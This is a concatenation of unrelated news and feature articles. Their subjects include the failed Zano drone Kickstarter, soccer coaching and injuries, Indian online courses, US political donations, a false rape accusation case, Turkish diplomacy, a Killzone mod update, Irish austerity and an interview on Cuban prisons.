For now, Ars is unaware of any lawsuits filed by or on behalf of Zano backers. Some backers have alternatively started a petition demanding a full refund from company founders (including, bizarrely, Prime Minister David Cameron). At this point, it seems unlikely that anyone will see any money returned from Kickstarter or the company itself. Kickstarter's terms of service currently provide only general guidelines if such a project falls apart.
"The creator is solely responsible for fulfilling the promises made in their project. If they’re unable to satisfy the terms of this agreement, they may be subject to legal action by backers," the site states.
Just four percent of drones shipped
Earlier this month, cofounder and CEO Ivan Reedman abruptly left Torquing Group, citing "personal health issues and irreconcilable differences." Neither Torquing Group nor Reedman himself has responded to Ars’ request for comment since his resignation.
In January 2015, Torquing Group concluded its Kickstarter campaign to fund production of its handheld drone. It raised more than £2.3 million ($3.4 million) in under two months.
When Ars visited the company headquarters in May 2015, Reedman promised that the drone would be shipping in July 2015 (it did not). Torquing also declined to demonstrate the drone in flight for us. When the BBC visited earlier this year, the news agency reported notable problems as well.
To date, Torquing Group has only shipped 600 of the more than 15,000 drones ordered.
An American backer, Bill Reeves, told Ars he spent $340.13 for a camouflage drone that he is unlikely to ever receive. "I don’t understand how all of that initial prototype video of the Zano project at the Kickstarter launch—looked like Zano was working just fine—and the updated progress information from the company over the last year has culminated in this totally negative situation," he e-mailed.
Reeves also passed along an e-mail sent to backers from Gary Stones, the liquidator hired to formally end the company and repay any creditors. Stones warned that any money that Kickstarter backers spent "are not debts owed by the company nor are they equity investments."
As such, Stones concluded: "Without remotely being inconsiderate, any Kickstarter ‘backers’ that attempt to gain access at the creditors’ meeting on December 4, 2015 will be refused entry."
The Swansea-based liquidator did not immediately respond to Ars’ request for comment.Photo by Mark J. Rebilas/USA TODAY Sports
By RYAN TOLMICH
Since assuming the role of U.S. Men’s National Team head coach, Jurgenn Klinsmann has set plenty of objectives for his side. During his three-and-a-half year tenure, the German-born manager has called for more possession, higher-level expectations and more confidence against the world’s top teams. However, with 2014’s campaign in the rearview mirror, Klinsmann’s major demand of his players is just a little bit of ‘nastiness’.
The USMNT closed 2014 with a whimper, falling by an unflattering 4-1 scoreline to a weakened Ireland lineup. With a series of disappointing results to close out the year, Klinsmann has called on his players to show a little more fight and physicality on the field.
“We have to make it clear that they have to go through pain, get tougher, and when I used that word two or three years ago where I said we have to get nastier, some people were very critical of me,” Klinsmann said after the loss. “How can you say that? You know? I’ll say it again: we have to get nastier. It’s just normal. It’s not a negative word. We have to become more physical. We have to hold our ground more, be dominant.
“This is just part of the game. It’s normal,” Klinsmann added. “All this stuff that they have to follow through with in their lives is automatic when you play for a top team in the world. It’s automatic, you live that way, and our players need to learn to live that way. To be accountable, responsible for what they do every day in training and in the games, but we are not there yet. Quite a way to go.”
According to Klinsmann, part of that ways to go will include how the team handles the aftermath of big tournaments. Following a generally successful World Cup, Klinsmann has seen a significant drop off in his team’s play, culminating in just one win in five post-World Cup games.
Part of that drop-off, Klinsmann says, comes from his players inability to mange the emotional stresses of this summer’s tournament, as the head coach stressed that his side never truly recovered from their Brazilian adventure.
“I think also the learning curve after the last two games is also that they have to learn emotionally how to digest a World Cup and a lot of our players had a lot of problems digesting those extreme emotions,” Klinsmann said. “They dropped 20,30, even 40 percent in performances in their club environment. Many Europeans lost their starting spot. Many other players in MLS or wherever went down 30-40 percent in their performances.
“This is because they didn’t know how to deal with all of these emotions and the recognition and all of the compliments in the world that came after the World Cup. In a certain way, it’s human. It’s understandable.”
Klinsmann says the next step in his side’s evolution, along with tournament success, will be the reacclimation of his players to their club environment, where many have struggled since the World Cup.
“It is not easy for these young people, but it’s also now a tremendous learning experience,” Klinsmann said. “You see a Cristiano Ronaldo, a (Leo) Messi, they take three-week vacations, go back to their club team and rock the boat. They play like they didn’t go on vacation. Our players, they went on vacation, came back and lost their spots in their clubs. While other players, they go back and because it was a 6-8 week emotional marathon, they can’t keep it up to the highest level.
“This will help us. This is a reminder saying go forward now and that next time a big tournament comes along, we can’t drop it anymore. You have to learn to be consistent. It’s a word that we’ve used many times: becoming consistent and don’t drop physically and mentally 20, 30, 40 percent. It’s a good learning curve. Is it fun? No, but we’ll deal with it.”Students from both engineering and other courses will have access to 18 courses online offered by IIT-K and IIT-M.
Now even non-engineering students can listen to lectures by professors from IIT-Kanpur and IIT-Madras online for free, as part of an initiative by the Ministry of Human Resource Development.Under the 'Massive Open Online Course' (MOOC), students from both engineering and other courses will have access to 18 courses online which will be conducted by seven professors from IIT-K and five professors from IIT-M.Professors from IIT-K and IIT-M have made 18 courses available online, by recording their lectures, for non-IIT students, Professor Vimal Kumar of IIT-Kanpur, who is also the director of these online courses, told PTI.These courses are of tremendous value to those students who have dreamt of studying by IIT professors, said Mr Kumar, who has lectures on 'Strategy: An Introduction to Game Theory' under the initiative.About 6,000 students have already enrolled for the courses which will continue till February 28, 2015. Mr Kumar said he is hopeful of 50,000 registrations soon. The professors participating in the initiative will be given a suitable stipend.The midfielder ruptured his thigh muscle in November and was ruled out for three months but is set to return for the end of season run-in
Real Madrid star Luka Modric has revealed he is on course to make his return from a ruptured thigh muscle within the next three weeks.
The Croatia international suffered the problem in the first half of his nation's Euro 2016 qualifier against Italy on November 18, with the midfielder told he would be on the sidelines for more than three months.
Thankfully for both his club and international side, the 29-year-old's recovery has gone according to plan and providing he has no reaction to the final stages of his rehabilitation, he should be fit enough to resume full training by the start of March.
Modric told Sportske novosti: "My rehabilitation is going according to plan, it is going very well. I am happy and I will soon be back on the pitch! I have been aware just how serious this injury is ever since it happened, and we all agreed we have to be patient because a rupture is very complicated.
"Yes, I miss playing very much but I am disciplined and I don't want to rush things. I know it could end very badly, with a new injury, if I return too soon."
The risk of repeating the injury was emphasised by the Croatia FA's head of medical services Boris Nemec, who added: "He will begin to run now and in three weeks he should make full training sessions with the team.
"If he feels the smallest pain, he should postpone his return because with muscle injuries, especially ruptures like this one, there is a big chance of renewing the injury. Thirty per cent of players renew their muscle injuries because they return too soon. His injury, the rupture of the rectus femoris, is something I've not witnessed in my career."
If he was to suffer the misfortune of rupturing the muscle for a second time, the former Tottenham star could face an even longer absence, according to national team doctor Zoran Bahtijarevic: "If he were to rush things he could be out for a year."
The news means Modric could make his return to action against Athletic Bilbao in March, while he should be fit in time for the second leg of Madrid's last-16 Champions League tie with Schalke.Some of Hollywood’s biggest left-wing stars, including Academy Award winners Leonardo DiCaprio and Jane Fonda, and HBO host Bill Maher have donated to a political committee called Flip the 49th! Neighbors in Action — a campaign to unseat Rep. Darrell Issa (R-CA) in next year’s election.
According to a list of donors obtained by The San Diego Union-Tribune, Fonda gave the group $100,000. Maher contributed $15,000. DiCaprio dished out $2,500 and Cheers alum Ted Danson dolled out $1,500. The list also includes a $2,500 donation from the JDM Foundation, an organization the Union-Tribune notes is funded mostly by its founder, late-night legend Jay Leno.
Formed as a kind of political action committee capable of raising unlimited amounts of money from corporations, unions, and individuals, but barred from coordinating with candidates, Flip the 49th has trained volunteers on voter registration and door-to-door canvassing ahead of what is expected to be a rough election cycle.
“Hundreds of grassroots activists have been educating voters on issues across the 49th. Our status change marks the beginning of the next phase of our program, which is to tell voters to vote no on Darrell Issa, a national emergency,” spokesman Jeremy Addis-Mills said. “We will continue to work tirelessly to defeat Darrell Issa, one of Congress’s wealthiest members and we call upon patriots from across the country to support our efforts.”
While the group disclosed its donor list to the Union-Tribune several weeks before it’s required to disclose the information to the Federal Election Commission, Rep. Issa’s campaign said the list should’ve been made public sooner.
“Despite all their claims about their commitment to transparency, the story behind the groups never really seemed to add up. We’re only now starting to see a glimpse of who is behind these efforts,” Issa’s spokesman, Calvin Moore, told the Union-Tribune.
The group says some 40 percent of the $440,091 raised from donations came from two of the counties within the boundaries of the congressional district, Orange and San Diego, of which Issa represents.
Flip the 49th co-founder David Lagstein is political director Service Employees International Union Local 221, or SEIU, an organization that has given $25,000 worth of in-kind donations to the anti-Issa group.
Rep. Issa has won his overwhelmingly Republican district decidedly since 2002. He won his 9th term last year, narrowly beating out his Democratic opponent retired Marine Colonel Doug Applegate.
Follow Jerome Hudson on Twitter @jeromeehudsonThe rape lies that ruined our lives: Taxi driver and his wife reveal the devastating cost of a drunk teenager who cried rape
There was never a moment when Sue Bishop believed her husband Clive was capable of rape.
Not when five police officers turned up on her doorstep in the middle of the night, hammering on the door and then arresting part-time taxi driver Clive on suspicion of rape.
Not even when they carted him off to Yeovil Police Station in Somerset and put him in a cell.
When she collected him the following day, Sue simply threw her arms around his neck and sobbed.
Falsely accused: Sue and Clive Bishop are still struggling to get on with their lives following allegations of rape
'I didn't doubt him for a minute,' she says. 'I just knew it wasn't in his nature. It wasn't possible that it was true.'
This week, more than two years after their nightmare began when her husband was falsely accused of rape by a drunken teenage passenger, Clive made legal history when he won the right to apply for compensation from the Criminal Injuries Compensation Authority.
The 50-year-old, who works for Somerset County Council caring for vulnerable adults, had previously been turned down on the grounds that he had not suffered physical injuries as a result of the false claim.
Kirsty Palmer, the mother-of-two who made up the rape allegation, was given a ten-month prison sentence as a result of her crime.
But as Clive and Sue's account of the past two years makes clear, the emotional and mental legacy of what happened to him in the hours and days after his wrongful arrest runs as deep as any physical scar.
'It's taken over our lives,' says 48-year-old Sue, who works as a carer. Both she and Clive also foster young adults and help them make the transition from the care system to self-sufficiency.
The girl who cried rape: Kirsty Palmer accused Clive of assaulting her as he dropped her home in his taxi
She adds: 'We have lived with this for so long now. I've seen Clive go from a laid-back person to being constantly anxious about everything.'
In effect, says Clive, who lost his taxi business as a result of the rape allegation, Palmer's actions amounted to an act of violence against him.
'I am physically and mentally drained. It has taken everything out of me,' he says. 'It's not about money. It's about moral justice, and recognising that when women lie like this, men suffer horrendously.
'I feel as if I've been raped of my dignity and my self-confidence. That night, my choices in life were taken away from me and I've been struggling ever since. I've had to fight for everything.
'I wish I could turn back the clock and have my life back as it was before. But that can never happen. This has caused so much distress and hurt and pain. Things can never be the same.'
Looking back on the events of the past two years, the couple from Walton in Somerset, both of whom have been married previously, still find it hard to believe how their lives were so suddenly turned upside down.
It happened, quite literally, overnight. Sue still recalls the terror of being woken up at 4.30am on February 25, 2007, by the sound of someone banging on the door of their three-bedroom semi-detached home.
'I was in a deep sleep,' she says. 'It was very frightening. I looked out of the window and there were two police cars and a riot van, and five policemen.
'I thought something terrible had happened to one of Clive's children, but I couldn't understand why so many policemen had come.'
When she first heard the word 'rape', Sue's first reaction was a split-second moment of relief that nothing terrible had happened to anyone in the family.
'Then,' she says, 'I thought "What did he say?" I couldn't take it in. My mind was spinning. I felt as if I couldn't breathe.'
Clive, who went downstairs to open the door, adds: 'I thought it was bad news and that something had happened to one of the young adults we'd been looking after, or to my son or daughter.
'Then I noticed one of the policemen was wearing blue surgical gloves. When he said he was arresting me on suspicion of rape, I said: "That's absolute rubbish." I was totally shocked and stunned.
'In the car on the way to the police station, I kept saying: "I haven't done anything wrong" and the police kept telling me to "Shut up". I thought you were meant to be innocent until proven guilty, but that's not how I was treated.'
'At no point did I touch her. She did not even pay me because her friend had already done it, so we'd never even come into contact'
Placed in a police cell for several hours, Clive was photographed and fingerprinted before undergoing a series of humiliating medical examinations.
In the early morning, a female doctor swabbed his mouth, his penis and the backs and palms of his hands.
He was asked to provide a 20ml sample of spit, and scrapings and clippings from each fingernail, as well as hair samples from his head and groin.
'It was degrading and humiliating,' recalls Clive. 'I felt numb. I still didn't even know who it was or what she was claiming.'
Later that afternoon, the police finally began questioning him and it quickly became clear that there was no case against him.
The rape allegation had been made by 17-year-old Kirsty Palmer, a passenger he had picked up in his taxi the previous night.
'I asked them what she had actually accused me of,' he recalls.
She'd said she'd been taken to a remote lane and raped by a man who was black, Asian or possibly heavily tanned - which, as a white man without a tan, clearly wasn't me.
'The duty solicitor nearly fell off his chair. He couldn't comprehend why I was there.'
But Clive remembered Kirsty Palmer clearly. He'd begun work at 7pm on Saturday, February 24. He collected Palmer and a friend at 9.45pm and took them to a nightclub.
At 1am, he received a call from Palmer's friend asking him to pick Palmer up and take her home.
Humiliated: Clive Bishop speaks to the media after receiving a compensation payout for being wrongly accused of rape
At first he refused because he had another booking. But after the friend begged him, he agreed on condition that he took her home immediately so he would have time to get back for the other booking.
'When I arrived, Palmer was very drunk and had already been sick,' says Clive. He insisted that her friend paid him before the start of the journey, then Palmer sat in the front with a carrier bag.
'I told her that if she was going to be sick, to be sick in the bag,' says Clive.
'At no point did I touch her. She did not even pay me because her friend had already done it, so we'd never even come into contact.'
He dropped Palmer outside her home and made sure she reached her front door, then he returned for his final booking and went home to bed.
It emerged that when Palmer got to her door, she found she was locked out. At that point, she made her way to a neighbour's house and, for whatever reason, claimed she had been raped. Hours later, Clive was arrested.
After 12 hours in police custody, he was released, but only after he'd been placed on police bail and told to return to the police station in six weeks' time.
During that time, there was no possibility of life returning to normal. Clive's red Nissan Primera was seized by the police, making it impossible for him to work.
'Even though I knew I was innocent, it felt as if the police didn't believe me. Sue and I agreed that we wouldn't tell anyone. We didn't want to upset our parents or our children, and we didn't want it to get out. We live in a small community and I was afraid of the backlash.'
Sue adds: 'Keeping it to ourselves meant that we had no one to talk to except each other. It was all we talked about. We went over and over it. My mum said I looked ill, but I didn't want to burden her with it, so I kept it hidden. It was terrible for both of us, but worse for Clive.'
Daily struggle: Clive and Sue say they will try and move on with their lives but it will never be the same again
Then, two days before he was due to report back to Yeovil police station, Clive received a phone call from his solicitor.
'He said not to bother turning up because no action was being taken against me,' recalls Clive.
'It was like being stabbed through the heart, to think that they could just leave it like that.'
He wrote a letter of complaint to the Chief Constable of Avon and Somerset Police.
'I said that if they could send five officers to my house at 4.30am, why couldn't they send a single officer to tell me that they'd found what I was saying was true, and that no further action would be taken against me.
'In the end, they sent someone to my house to apologise, but I wanted it in writing as well. I wanted a letter exonerating me.'
But even when he got that, life for Clive did not return to normal.
'When I got my car back, I tried to go out taxiing again, but I was a nervous wreck. One of my passengers was another drunk girl. I just dropped her off and drove straight home. I told Sue: "I can't do this any more." I had to get rid of the car.'
Clive also feared - wrongly - that the accusation against him might affect the Enhanced Criminal Records Bureau check, a procedure he undergoes at regular periods because of the nature of his work fostering vulnerable adults.
In the end, after seeing his GP, he underwent counselling to help him cope with the stress he was suffering. He took up running to help work out his emotions and last year raised many hundreds of pounds for the cancer charity CLIC Sargent by completing the Glastonbury 10km race.
In April last year, mother-of-two Palmer pleaded guilty to the false rape allegation and was jailed for ten months at Bristol Crown Court.
Sue says: 'When I first saw her in court, I didn't know how to feel. Part of me wanted to slap her face. But I just tried to keep myself together and to stop myself crying.
'As time went on, I found my emotions were very mixed. I was glad that she was jailed at first, but then I thought about her two babies being left behind. I felt awful. As if we were responsible for causing that. But, of course, she was responsible. She'd put herself there, not us.'
Clive recalls how, during an earlier committal hearing, Palmer and her boyfriend and baby stepped into the lift that he and Sue were in.
'She didn't have a clue who I was, but I knew who she was. She was laughing and joking. It made me feel sick.'
Even seeing his accuser jailed did not compensate for what Clive had suffered.
'The mental scars run deep,' he says. 'I'm a very nervous person now. Very anxious and stressed.
'I don't like being alone with women I don't know, which makes my job very hard. I'm very conscious of what I say and how I act. I'm very aware of my surroundings all the time. I can't get what happened out of my head.'
'Women who make up stories like these should be put on the sex offenders' register. Lies like these ruin people's lives'
The publicity surrounding the court action against Palmer also forced the couple to tell their family and friends what had happened.
'It all came into the open,' says Clive. 'I had to drive round to my parents, who are in their 70s, and my children, and explain what this girl had done. They were heart-broken. But everyone has been incredibly supportive towards me.'
For both Clive and Sue then, the decision by a Taunton tribunal last week that he was eligible to apply for compensation is hugely symbolic. 'Finally, it makes clear all the distress I have suffered,' he says. 'It had to be acknowledged.
'I understand that rape is a horrendous crime for anyone to suffer, but there has to be balance. You can't have a one-sided system.
'And when it's clear that someone has been wrongly accused, someone-should say: "Sorry for what you have been through."
'Women who make up stories like these should be put on the sex offenders' register. Lies like these ruin people's lives.'
Clive still has no idea why Palmer made up her story - 'And I don't want to know,' he says.
His battle for justice is not yet over. While he has been given leave to apply for compensation, it may take up to five years for an amount to actually be granted.
In the meantime, he has also won damages from a County Court judgment against Palmer for'malicious falsehood'.
When the teenager initially failed to pay the damages awarded to Clive, the case returned to court last month. He doesn't want to say how much he has been awarded, only that it barely scratches the surface of the earnings he has lost from his taxi business, and that Palmer, who is on benefits, has agreed to pay him a small amount each month.
He spoke to her for the first time on the steps outside the court.
'It was so strange,' he recalls. 'I was about a foot and a half from her. I said: "Do you know that you have never once apologised to me or my wife?"
'She said: "I'm so, so sorry. If I could turn back the clock, I would. I didn't realise all this was going to happen."'
In the end, it's hard to get away from the irony of it all: that Clive and Sue, who have spent the past eight years caring for disadvantaged teenagers like Kirsty Palmer, should have suffered like this.
Clive looks at it like this: 'She's done a very stupid thing. She has done a great disservice to women.
'But she's served her time. And now she's apologised. I just hope now that she can give a good life to her children and bring them up properly.
'She needs to get on with her life, and somehow I need to get on with mine.' |
News )
Blinded by flashing neon lights at the Gilded Lily club in the Meatpacking District, we were greeted with hugs, not drugs, upon entering. And at a party like this, there’s no juicing — except the O.J.
It seemed a little forced at first, but after tossing back our virgin libation, we were ready to hit the dance floor and quickly found, just as German Eurodance group Snap! once said, rhythm is, in fact, a dancer.
DJ David Heyerman dropped catchy house beats that had the crowd of 200 moving with the thumping bass.
“Usually when I DJ it’s 4 a.m. and everybody is f—ed up,” says Heyerman. “But at Daybreaker, people are dancing harder than they would at night, and are more receptive to the music. I’m really impressed.”
I never thought I’d ever get out of bed this early for a dance party.
Suddenly, two costumed vegetables rushed the dance floor and started grinding on guests, accompanied by blaring trumpeters and a glowing jellyfish puppet. It was easily the high point (we were sober, we swear!).
Agrawal and Brimer are obviously onto something: People were plunking down $25 when they could have stayed at home in their PJs and cranked up their Calvin Harris dance playlist on Spotify. They’re paying for the feeling of being in a room of like-minded party people, all at the same level of intoxication (zero) and smiling.
It’s also much more fun — and just as sweaty — as a 45-minute Soul Cycle session.
“Why would you want to go on a treadmill when you can hit the dance floor?” says Vurbeff, who lives on the Lower East Side.
The party wound down as rush hour heated up. But before saying goodbye, the music stopped and partyers were asked to step forward for some “laughter yoga,” spoken word poetry and a group reading of a poem about “the adventure of being alive.” No one sang “Kumbaya,” but no one was complaining, either.
“I’d totally come again,” says East Villager Sara Goodison, 23, who stopped by before work. “I definitely wouldn’t call it a rave, but I don’t think I’d enjoy a real one as much as this.”
The next Daybreaker is in June. Check dybrkr.com for information and tickets.
jsettembre@nydailynews.com
Sign up for BREAKING NEWS Emails privacy policy Thanks for subscribing!There will be a flurry of diplomatic activity in Turkey next week with many high level visits expected in Ankara, including that of the British prime minister, Lithuanian president and top EU officials.
The busy schedule begins Monday, when the High Representative of the EU for Foreign Affairs and Security Policy Federica Mogherini, Commissioner for European Neighborhood Policy and Enlargement Negotiations Johannes Hahn and European Commissioner for Humanitarian Aid and Crisis Management Christos Stylianides will visit Ankara.
The EU officials are expected to hold a quartet meeting with Turkish Foreign Minister Mevlüt Çavuşoğlu and Turkey's EU Minister Volkan Bozkır.
Mogherini and Stylianides will also head to Turkey's southeast province of Gaziantep, where more than 33,000 Syrian refugees have taken shelter in four different camps.
Lithuanian President Dalia Grybauskaite is also expected to arrive in Ankara next week to hold talks with Turkish President Recep Tayyip Erdoğan, diplomatic sources say.
On Tuesday, British Prime Minister David Cameron will arrive in Turkey's capital. Cameron is expected to hold talks with President Erdoğan and Prime Minister Ahmet Davutoğlu.
"This visit is not only important for Turkey-U.K. relations, but also for the peoples of countries and regions going through a difficult period," Erdoğan said during the fourth Turkish-British Tatlı Dil Forum on November 29.
Erdoğan had called for an intense cooperation between Turkey and the U.K. to take stable, constructive and conclusive steps in regional and global matters.
Georgia's Foreign Minister Tamar Beruchashvili will also be in Ankara Tuesday on Çavuşoğlu's invitation.
"Regional and international developments will be at the table as well as opportunities on how to carry bilateral relations a step further," Turkish Foreign Ministry said Friday.
On Wednesday, the fourth trilateral meeting of foreign ministers of Azerbaijan, Georgia and Turkey will be held in the Turkey's northeastern province of Kars on December 10.
The trilateral summit will be attended by Azerbaijan's Elmar Mammadyarov, Georgia's Tamar Beruchashvili and Turkey's Çavuşoğlu.
"Within the framework of the meeting, the ministers will exchange views on prospects for developing regional cooperation on issues of common interest and review the decisions taken at the previous meetings," Turkish Foreign Ministry said.
On Thursday, Slovakian Foreign and European Affairs Minister Miroslav Lajcak will be in Turkey to hold a press conference with his counterpart Çavuşoğlu, diplomatic sources said.
On next Friday, Greece's Thessaloniki city will host the Black Sea Economic Cooperation meeting that is expected to be attended by Çavuşoğlu, the sources added.Congress shall make no law respecting an establishment of religion, or prohibiting the free exercise thereof; or abridging the freedom of speech, or of the press; or the right of the people peaceably to assemble, and to petition the government for a redress of grievances. — Amendment I
Increasingly, the First Amendment is coming under challenge — by the American public.
More than a third of Americans say the First Amendment goes too far in the rights it guarantees, according to a new survey.
The results were released Tuesday by the First Amendment Center, a non-partisan group that advocates for First Amendment protections and conducts an annual survey of public views.
The findings were based on responses from 1,006 American adults, who answered questions in May, shortly after the Boston Marathon bombings.
Thirty-four percent said the First Amendment goes too far — up from 13%.../Date 8th of April, 2013
//Incoming Transmission
//Requesting Authentication
//Checking...
//Confirmed Authentication
///From: General Bornsteller
///To: KFA Communtiy
///Subject: State of Affairs and Requesting Additional Troops
Hello mod watchers
Today I come to present the first major piece of news that the mod will have. First of all the team has
under gone some major upgrades, since the 4 human team of Myself, Golly, GTY14 and MobiusOne started this beautiful mod, we have had another 8 members join our team, including the 2 play-testers. The team as it stands are doing a great number of things, Lord_Set is creating some nifty User Interface assets, our faction modellers are creating cool stuff and the rest of the team is just generally keeping busy.
I liked my logo but this one is way better, agree? I liked my logo but this one is way better, agree?
Golly and the rest of the team have been getting some ideas concreted and other ideas are getting thrown around, we all ask the community to post any ideas that you guys have, we do take all ideas into consideration. Now even though our team is now very much larger then it was before, I believe there is one small part missing. We need a dedicated particle artist, someone with experience in particle forge would be great, some of our members can create particles to some degree, a dedicated artist would go a long way. What would also be lovely is a concept artist that is a very good drawer, bonus points if you know the Killzone style. PM Golly if these position seem appetising to you.
Lord_Set has unveiled a slick new Loading screen, he leaves the rest of the team still drooling Lord_Set has unveiled a slick new Loading screen, he leaves the rest of the team still drooling
Now of course I know what you guys want in a news post, sneak previews. This is a preview of the ISA SD Platform, even Golly hasn't seen this yet. It is still very much a WIP, feedback is recommended
Contrary to our teams popular belief, I actually do work on the mod. Contrary to our teams popular belief, I actually do work on the mod.
We also have the new Helghast goodies that Faced and Mobius have whipped up.
Faced's new Helghast Station
Who knows what kind Helghast goodies will flow from this? Who knows what kind Helghast goodies will flow from this?
And...
MobiusOne's new Helghast Capital Ship, as seen in Killzone 3
The ISA are going to have a hard time against this bad boy. The ISA are going to have a hard time against this bad boy.
That's it for this time, stay tuned for more awesome things coming from the great people who work on this mod.American economist and Nobel Memorial Prize winner Joseph Stiglitz has warned that Ireland will experience a "lost decade" as a result of the European Union-International Monetary Fund bailout.
Mr Stiglitz is in Ireland as a guest of the UCD Clinton Institute and the Roosevelt Institute.
Speaking on RTÉ's Morning Ireland he said: "We know that austerity has essentially never worked and why that was not understood by the European leaders is beyond me.
"It was almost a religious notion if you sin so badly you have to feel the pain."
Mr Stiglitz, who won the Nobel Prize for Economics in 2001, said he was astonished at how little protest there was in Ireland following the decision to bailout the banks.
He said it was a "mistake" to burden taxpayers with bank debt.
"The ECB and others wanted to save the banks, so it was a trade off between banks all over Europe and the Irish citizens."
Asked about the economy's prospects of recovery, Mr Stiglitz said: "Will you get back to the growth path you were on? Almost surely, no.
"Will you get back to where you were with maybe a lost decade? Yes, I think you will. But it will be a lost decade, at least."
"That's the reality that Europe needs to wake up to," he added.
Elsewhere, the European Commission has said that Ireland's implementation of the EU-IMF bailout programme was "steadfast" but has cautioned that spending in the health sector is still in need of monitoring.
In its first response since the conclusion this week by the Troika of the 12th and final review mission, the Commission said the Irish economy had been growing above the eurozone average since 2011, but that overall growth in 2013 would be "low".
Growth in 2014 was expected to reach 1.75%.
The Commission said spending control in the health sector "must be maintained" to ensure that the budget deficit target of 7.5% was met.
"Realising the proposed savings in health sector spending will require particular attention," it added.Flickr user Jeldu
Last summer I traveled to Cuba for the first time, strangely enough to learn about its prisons. I say strangely because while my preconceived notions of Cuban prisons were based mostly on Reinaldo Arenas’s powerful memoir Before Night Falls and the film adaptation directed by Julian Schnabel, which both paint a very grim picture of Arenas’s experience of incarceration in Cuba’s famous El Morro prison during the mid-1970s, the purpose of my trip to Havana was to learn about potential solutions to our own very broken criminal justice system in the US.
I went with a group composed mostly of New Yorkers working in the field of criminal justice reform and led by Soffiyah Elijah, executive director of the Correctional Association (CA) of New York. The only private organization in the state with unrestricted access to prisons, the CA makes routine inspections throughout New York, reports its findings and recommendations to the public, and advocates for a more humane criminal justice system.
In Havana, our group met with Cuban lawyers, supreme court and provincial judges, social workers, educators, and government officials in order to learn about the Cuban policies and practices regarding criminal trials, treatment of incarcerated people, juvenile justice, rehabilitation, and re-integration into society. Recently, Soffiyah and I discussed what we’d learned on our trip and what she has learned from studying the Cuban system over the past three decades.
—Hyatt Bass for Guernica Daily
Guernica: How did you originally learn about the Cuban criminal justice system and decide it was something you wanted to study?
Soffiyah Elijah: Back in the late 1980s, I took a trip to Cuba with the National Lawyers Guild. I had never had an interest in going to Cuba. But on that first trip I had an opportunity to visit a men’s prison, and I was really struck by everything that was so very different from my experiences as a criminal defense lawyer in the United States visiting clients in prison.
When we drove up to the facility, I kept looking for what I was used to here: high stone walls, lots of barbed wire, guard towers, guards with assault weapons. And I didn’t see any of that. We pulled up to a building that looked similar to a large elementary school, and when we entered the building, there was no metal detector, which was something else I wasn’t used to. And no one was checking my bag to look for weapons or contraband, and there was no sign-in book; none of the things that I was used to experiencing when I entered a prison in the United States.
And then our guide announced that we would have, say, maybe two or three hours at the facility, and we could take a tour with him but we were not restricted to staying on the guided tour. So I wandered off with a couple of other people from the Guild, and we just went around the prison and sat in people’s rooms on their bunk beds and talked with them and literally went wherever we wanted, and that was totally different from any experience that I have had in the United States. Even as the executive director of the Correctional Association now, with legislative authority to monitor prison conditions and go inside the facilities in New York, we don’t take unguided tours of any facility. It’s very scripted where we go, and we are always accompanied by prison staff for the entire visit.
You don’t have this demonization and stereotyping that we have here, where incarcerated people are so ostracized they’re like the untouchables.
The following year, I went to a women’s prison in Cuba, and they put on a cabaret. I remember sitting in this huge auditorium with hundreds of people, and there were prison staff, people from the community, and people who were incarcerated all on the stage performing together in costumes. Nobody was in a uniform except the superintendent of the facility.
So what got my brain racing was that those two experiences—the physical layout of the prisons, the fact nobody was in uniform, the intersection between the people from the community, the staff, and the people who are doing time—spoke to what I ultimately learned was a completely different view about people who have been convicted of crimes. You don’t have this demonization and stereotyping that we have here, where incarcerated people are so ostracized they’re like the untouchables.
I’ll be the last one to say that the two Cuban prisons I went to speak for all the prisons in the country. I couldn’t possibly say that. But I can say very clearly what I did see and experience. And I’m not suggesting the US system could be shifted to something like what I saw in those two prisons. That just seems so farfetched. But it definitely created a completely different atmosphere than what I’m used to.
Guernica: What are some of the practices that impress you most about the Cuban system?
Soffiyah Elijah: The Cuban approach to youth justice is far more in keeping with an understanding of human brain development and the need to treat youth differently from adults. Youth are placed in a boarding school type setting there. Scientific research has proven that the section of the human brain that is responsible for impulse control is the frontal lobe. This is the last portion of the brain to fully develop and it does not do so until the mid to late twenties. Most criminal behavior is the result of impulsive actions. Therefore, a rational and enlightened approach to youth justice must take into account the reduced criminal responsibility that should be attributed to young people.
Also, people are given the option to work while they’re incarcerated and to be paid the same amount that they would be paid if they had that job in the free world. And when they are being released, there is an effort to place them in a job analogous to what they were doing when they were inside. There is a work release program, too, that can significantly shorten your sentence.
Another thing that struck me was furloughs. They didn’t have minimum, medium, and maximum-security prisons. The distinction of security level was manifested in how often you got a furlough to go home for the weekend. So, a minimum-security person might get three furloughs a month. A maximum-security person only gets one furlough a month. And that was something very, very different to what I was used to here. We have different facilities for different security levels, and furloughs are not common throughout the US prison system.
We don’t value humans in the same way in the United States. We’re willing to put people on a conveyor belt in criminal court, off to prison, off to reentry, back to recidivism, back inside, without thinking about the long-term damage that we’re doing.
Guernica: I remember we were told that the incarcerated person could dress in civilian clothes and go home to visit his or her family with a guard also dressed in civilian clothing. Additionally, while someone is imprisoned, there is a social worker who regularly visits the family to make sure the spouse, parents, and/or children are doing okay in that person’s absence.
Soffiyah Elijah: A total support system. And in Cuba, no matter where your crime was committed, if you’re going to be incarcerated, you will be incarcerated in the province where you live to facilitate close family communication, which is something that’s totally foreign here.
Guernica: What do you think would be the big obstacles to doing some of these things in the US?
Soffiyah Elijah: In order to really understand why the system is just so fundamentally different, we have to take a giant step backwards to look at what is the funneling source. Prisons in the US are tied to a profit margin. And in Cuba, prisons are tied to, and the society is focused on, valuing the human being. So everything that they do, from the education to the fact that the healthcare system is free, to the entire approach of incarcerating someone, is tied to how do we make the most out of each individual, because the view is that the human is the most precious resource that their country has.
We don’t value humans in the same way in the United States. We’re willing to put people on a conveyor belt in criminal court, off to prison, off to reentry, back to recidivism, back inside, without thinking about the long-term damage that we’re doing, not only to that person but also to their family, to their community, an ultimately, to our society. Only now is the dialogue starting to shift a little bit to think about those things, and sadly, in the US, what’s driving people to start thinking differently about it is they’re focused on how much it costs financially. Now some might say, well, I mean, the Cubans are focused on that too. But they never went down that path of bankrupting the economy on locking people up. Their whole system is geared towards if someone’s going to be incarcerated, what’s the shortest amount of time necessary, and what are all the things that we need to package around that person to help that experience give them the stepping stones so that they never come back.
Guernica: When you talk about valuing the human being in Cuba, I felt that so strongly when I was there. But it’s hard to speak about when you return, because people just look at you like you’ve lost your mind. They say, “You really drank the Kool-Aid.”
